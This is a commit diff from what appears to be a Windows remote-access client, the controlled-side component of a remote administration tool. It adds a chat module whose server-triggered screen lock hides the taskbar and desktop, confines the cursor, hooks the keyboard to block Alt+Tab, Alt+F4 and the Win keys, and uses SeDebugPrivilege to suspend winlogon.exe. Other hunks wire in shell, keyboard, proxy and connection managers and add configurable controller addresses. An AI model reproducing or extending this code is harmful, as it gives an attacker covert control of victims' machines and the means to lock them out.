Compare commits
18
Commits
v1.3.9
...
f72fda9b71
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f72fda9b71 | ||
|
|
c906a46bcc | ||
|
|
6c9fef8793 | ||
|
|
bbdb4104bf | ||
|
|
8d0f419093 | ||
|
|
f3a05c14b1 | ||
|
|
d118558eda | ||
|
|
76decec0fe | ||
|
|
9eed43bc8d | ||
|
|
a72e6eb391 | ||
|
|
e9d60e6e23 | ||
|
|
42df128f62 | ||
|
|
32cc7af371 | ||
|
|
033ff077ef | ||
|
|
0416dadbba | ||
|
|
91238da50d | ||
|
|
221617fe02 | ||
|
|
dd845823b6 |
No files matched your search
@@ -0,0 +1,336 @@
|
|||||||
|
// ChatManager.cpp: implementation of the CChatManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ChatManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include "resource.h"
|
||||||
|
#include <TlHelp32.h>
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE
|
||||||
|
|
||||||
|
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
|
||||||
|
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
|
||||||
|
|
||||||
|
#define SE_DEBUG_PRIVILEGE 20
|
||||||
|
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
|
||||||
|
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
|
||||||
|
|
||||||
|
struct PIDWNDINFO {
|
||||||
|
DWORD dwProcessId;
|
||||||
|
HWND hWnd;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
|
||||||
|
static HANDLE g_hProcess = NULL;
|
||||||
|
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
|
||||||
|
static HHOOK g_hKeyBoard = NULL;
|
||||||
|
static int g_nLocked = 0;
|
||||||
|
|
||||||
|
static DWORD GetWinlogonPid()
|
||||||
|
{
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||||
|
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
|
||||||
|
BOOL rtn = Process32First(snap, &pEntry);
|
||||||
|
while (rtn) {
|
||||||
|
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
|
||||||
|
CloseHandle(snap);
|
||||||
|
return pEntry.th32ProcessID;
|
||||||
|
}
|
||||||
|
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
|
||||||
|
rtn = Process32Next(snap, &pEntry);
|
||||||
|
}
|
||||||
|
CloseHandle(snap);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
|
||||||
|
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
if (code == HC_ACTION) {
|
||||||
|
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
|
||||||
|
switch (wParam) {
|
||||||
|
case WM_KEYDOWN:
|
||||||
|
case WM_SYSKEYDOWN:
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
|
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|
||||||
|
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|
||||||
|
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|
||||||
|
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|
||||||
|
|| (p->vkCode == VK_LWIN)
|
||||||
|
|| (p->vkCode == VK_RWIN)) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
|
||||||
|
{
|
||||||
|
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
|
||||||
|
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
|
||||||
|
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
|
||||||
|
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
|
||||||
|
ShowWindow(hWnd, SW_MINIMIZE);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
DWORD dwProcessId;
|
||||||
|
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||||
|
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||||
|
pInfo->hWnd = hWnd;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
|
||||||
|
static void ChatSetHook()
|
||||||
|
{
|
||||||
|
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
|
||||||
|
HMODULE hMod = LoadLibrary("ntdll");
|
||||||
|
if (hMod) {
|
||||||
|
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
|
||||||
|
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
|
||||||
|
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
|
||||||
|
DWORD pid = GetWinlogonPid();
|
||||||
|
BOOLEAN dummy = 0;
|
||||||
|
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
|
||||||
|
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||||
|
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ChatUnSetHook()
|
||||||
|
{
|
||||||
|
if (g_hKeyBoard) {
|
||||||
|
UnhookWindowsHookEx(g_hKeyBoard);
|
||||||
|
g_hKeyBoard = NULL;
|
||||||
|
}
|
||||||
|
if (g_lpfnNtResumeProcess && g_hProcess) {
|
||||||
|
g_lpfnNtResumeProcess(g_hProcess);
|
||||||
|
}
|
||||||
|
if (g_hProcess) {
|
||||||
|
CloseHandle(g_hProcess);
|
||||||
|
g_hProcess = NULL;
|
||||||
|
}
|
||||||
|
g_lpfnNtResumeProcess = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
|
||||||
|
static void UnlockScreen()
|
||||||
|
{
|
||||||
|
ChatUnSetHook();
|
||||||
|
ClipCursor(NULL);
|
||||||
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
|
||||||
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
|
||||||
|
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
|
||||||
|
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
|
||||||
|
g_nLocked = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_hInstance = HINSTANCE(user);
|
||||||
|
m_hWnd = NULL;
|
||||||
|
m_bRun = TRUE;
|
||||||
|
g_nLocked = 0;
|
||||||
|
|
||||||
|
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
|
||||||
|
BYTE bToken = TOKEN_CHAT_START;
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||||
|
WaitForDialogOpen();
|
||||||
|
|
||||||
|
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
|
||||||
|
Mprintf("Chat 构造\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
CChatManager::~CChatManager()
|
||||||
|
{
|
||||||
|
m_bRun = FALSE;
|
||||||
|
while (m_hThread)
|
||||||
|
Sleep(100);
|
||||||
|
|
||||||
|
if (g_nLocked == 1) {
|
||||||
|
UnlockScreen();
|
||||||
|
}
|
||||||
|
if (m_hWnd) {
|
||||||
|
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||||
|
}
|
||||||
|
Mprintf("Chat 析构\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CChatManager* pThis = (CChatManager*)lParam;
|
||||||
|
HANDLE& hThread(pThis->m_hThread);
|
||||||
|
|
||||||
|
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
|
||||||
|
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
||||||
|
if (pThis->m_hWnd) {
|
||||||
|
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
|
||||||
|
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
|
||||||
|
// 移除最小化/最大化按钮
|
||||||
|
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
|
||||||
|
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
||||||
|
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
|
||||||
|
|
||||||
|
MSG msg;
|
||||||
|
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
|
||||||
|
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
|
||||||
|
TranslateMessage(&msg);
|
||||||
|
DispatchMessage(&msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
hThread = NULL;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
|
||||||
|
switch (uMsg) {
|
||||||
|
case WM_INITDIALOG:
|
||||||
|
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
|
||||||
|
pThis = (CChatManager*)lParam;
|
||||||
|
SetWindowText(hDlg, "远程交谈");
|
||||||
|
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
|
||||||
|
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
|
||||||
|
{
|
||||||
|
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||||
|
if (hIcon) {
|
||||||
|
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
|
||||||
|
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_COMMAND:
|
||||||
|
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
|
||||||
|
char str[4096] = { 0 };
|
||||||
|
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
|
||||||
|
if (str[0] == 0) {
|
||||||
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||||
|
return TRUE; // 消息为空不发送
|
||||||
|
}
|
||||||
|
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
|
||||||
|
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char Text[5120] = { 0 };
|
||||||
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
|
||||||
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
||||||
|
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
|
||||||
|
int nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
if (nLen >= 20000) {
|
||||||
|
SetWindowText(hEditChatLog, "");
|
||||||
|
nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
}
|
||||||
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||||
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||||
|
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
|
||||||
|
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
if (LOWORD(wParam) == IDC_BUTTON_END) {
|
||||||
|
// 被控端主动结束交谈:关闭本地聊天窗口
|
||||||
|
SendMessage(hDlg, WM_USER + 1, NULL, NULL);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case WM_CLOSE:
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
case WM_USER + 1:
|
||||||
|
pThis->m_hWnd = NULL;
|
||||||
|
DestroyWindow(hDlg);
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_USER + 2:
|
||||||
|
ChatSetHook();
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
case WM_DESTROY:
|
||||||
|
PostQuitMessage(0);
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
|
||||||
|
|
||||||
|
if (ulLength == 1) {
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_NEXT_CHAT:
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_CLOSE:
|
||||||
|
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_SCREEN_LOCK:
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
if (m_hWnd && g_nLocked == 0) {
|
||||||
|
ShowWindow(m_hWnd, SW_RESTORE);
|
||||||
|
RECT rct = { 0 };
|
||||||
|
GetWindowRect(m_hWnd, &rct);
|
||||||
|
ClipCursor(&rct);
|
||||||
|
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
|
||||||
|
PIDWNDINFO pwi = { 0 };
|
||||||
|
pwi.dwProcessId = 0;
|
||||||
|
pwi.hWnd = m_hWnd;
|
||||||
|
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
|
||||||
|
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
|
||||||
|
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
|
||||||
|
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
|
||||||
|
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
|
||||||
|
g_nLocked = 1;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
case COMMAND_CHAT_SCREEN_UNLOCK:
|
||||||
|
if (g_nLocked == 1) {
|
||||||
|
UnlockScreen();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 收到服务端发来的聊天文本
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char Text[8192] = { 0 };
|
||||||
|
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
|
||||||
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
|
||||||
|
if (m_hWnd) {
|
||||||
|
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
|
||||||
|
int nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
if (nLen >= 20000) {
|
||||||
|
SetWindowText(hEditChatLog, "");
|
||||||
|
nLen = GetWindowTextLength(hEditChatLog);
|
||||||
|
}
|
||||||
|
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||||
|
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||||
|
ShowWindow(m_hWnd, SW_RESTORE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
// ChatManager.h: interface for the CChatManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE==0
|
||||||
|
#define CChatManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
|
class CChatManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
HINSTANCE m_hInstance;
|
||||||
|
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CChatManager();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
private:
|
||||||
|
BOOL m_bRun;
|
||||||
|
HANDLE m_hThread;
|
||||||
|
HWND m_hWnd;
|
||||||
|
|
||||||
|
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
|
||||||
|
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -66,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
|
|||||||
return S_CLIENT_NORMAL == This->g_bExit;
|
return S_CLIENT_NORMAL == This->g_bExit;
|
||||||
}
|
}
|
||||||
|
|
||||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
|
||||||
{
|
{
|
||||||
auto v = StringToVector(remoteAddr, ':', 2);
|
auto v = StringToVector(remoteAddr, ':', 2);
|
||||||
if (v[0].empty() || v[1].empty())
|
if (v[0].empty() || v[1].empty())
|
||||||
return nullptr;
|
return nullptr;
|
||||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||||
|
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
|
||||||
|
a->g_Connection->iHeaderEnc = headerEnc;
|
||||||
return a;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -597,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
auto saved_ip = cfg.GetStr("settings", "master");
|
auto saved_ip = cfg.GetStr("settings", "master");
|
||||||
auto saved_port = cfg.GetInt("settings", "port");
|
auto saved_port = cfg.GetInt("settings", "port");
|
||||||
settings.SetServer(saved_ip.c_str(), saved_port);
|
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||||
|
auto saved_proto = cfg.GetStr("settings", "master_proto");
|
||||||
|
if (saved_proto == "0" || saved_proto == "1")
|
||||||
|
settings.iHeaderEnc = atoi(saved_proto.c_str());
|
||||||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
|
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
|
||||||
int(valid_to-now));
|
int(valid_to-now));
|
||||||
}
|
}
|
||||||
@@ -617,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
auto a = cfg.GetStr("settings", "share_list");
|
auto a = cfg.GetStr("settings", "share_list");
|
||||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||||
for (int i = 0; i < shareList.size(); ++i) {
|
for (int i = 0; i < shareList.size(); ++i) {
|
||||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
|
auto v = StringToVector(shareList[i], ':', 3);
|
||||||
|
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
|
||||||
|
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
|
||||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||||
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -130,7 +130,7 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
|
||||||
|
|
||||||
// 启动核心线程,参数为:ClientApp
|
// 启动核心线程,参数为:ClientApp
|
||||||
DWORD WINAPI StartClient(LPVOID lParam);
|
DWORD WINAPI StartClient(LPVOID lParam);
|
||||||
|
|||||||
@@ -185,6 +185,7 @@
|
|||||||
<ClCompile Include="ClientLogManager.cpp" />
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsManager.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||||
@@ -215,6 +216,8 @@
|
|||||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
|
<ClCompile Include="MachineManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -233,6 +236,7 @@
|
|||||||
<ClInclude Include="clip.h" />
|
<ClInclude Include="clip.h" />
|
||||||
<ClInclude Include="ClientLogManager.h" />
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="ConnectionsManager.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
@@ -268,6 +272,9 @@
|
|||||||
<ClInclude Include="StdAfx.h" />
|
<ClInclude Include="StdAfx.h" />
|
||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
|
<ClInclude Include="MachineManager.h" />
|
||||||
|
<ClInclude Include="yapi.hpp" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
|||||||
@@ -41,6 +41,7 @@
|
|||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="..\common\file_upload.cpp" />
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsManager.cpp" />
|
||||||
<ClCompile Include="session.cpp" />
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="reg_startup.c" />
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
@@ -59,6 +60,7 @@
|
|||||||
<ClInclude Include="CaptureVideo.h" />
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
<ClInclude Include="clip.h" />
|
<ClInclude Include="clip.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="ConnectionsManager.h" />
|
||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
|||||||
@@ -5,12 +5,15 @@
|
|||||||
#include "ScreenManager.h"
|
#include "ScreenManager.h"
|
||||||
#include "FileManager.h"
|
#include "FileManager.h"
|
||||||
#include "TalkManager.h"
|
#include "TalkManager.h"
|
||||||
|
#include "ChatManager.h"
|
||||||
|
#include "MachineManager.h"
|
||||||
#include "ShellManager.h"
|
#include "ShellManager.h"
|
||||||
#include "SystemManager.h"
|
#include "SystemManager.h"
|
||||||
#include "ConPTYManager.h"
|
#include "ConPTYManager.h"
|
||||||
#include "AudioManager.h"
|
#include "AudioManager.h"
|
||||||
#include "RegisterManager.h"
|
#include "RegisterManager.h"
|
||||||
#include "ServicesManager.h"
|
#include "ServicesManager.h"
|
||||||
|
#include "ConnectionsManager.h"
|
||||||
#include "VideoManager.h"
|
#include "VideoManager.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
#include "ProxyManager.h"
|
#include "ProxyManager.h"
|
||||||
@@ -100,6 +103,16 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
|||||||
return LoopManager<CTalkManager, 0>(lParam);
|
return LoopManager<CTalkManager, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopChatManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CChatManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CMachineManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||||
{
|
{
|
||||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||||
@@ -139,6 +152,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
|||||||
return LoopManager<CServicesManager, 0>(lParam);
|
return LoopManager<CServicesManager, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CConnectionsManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||||
{
|
{
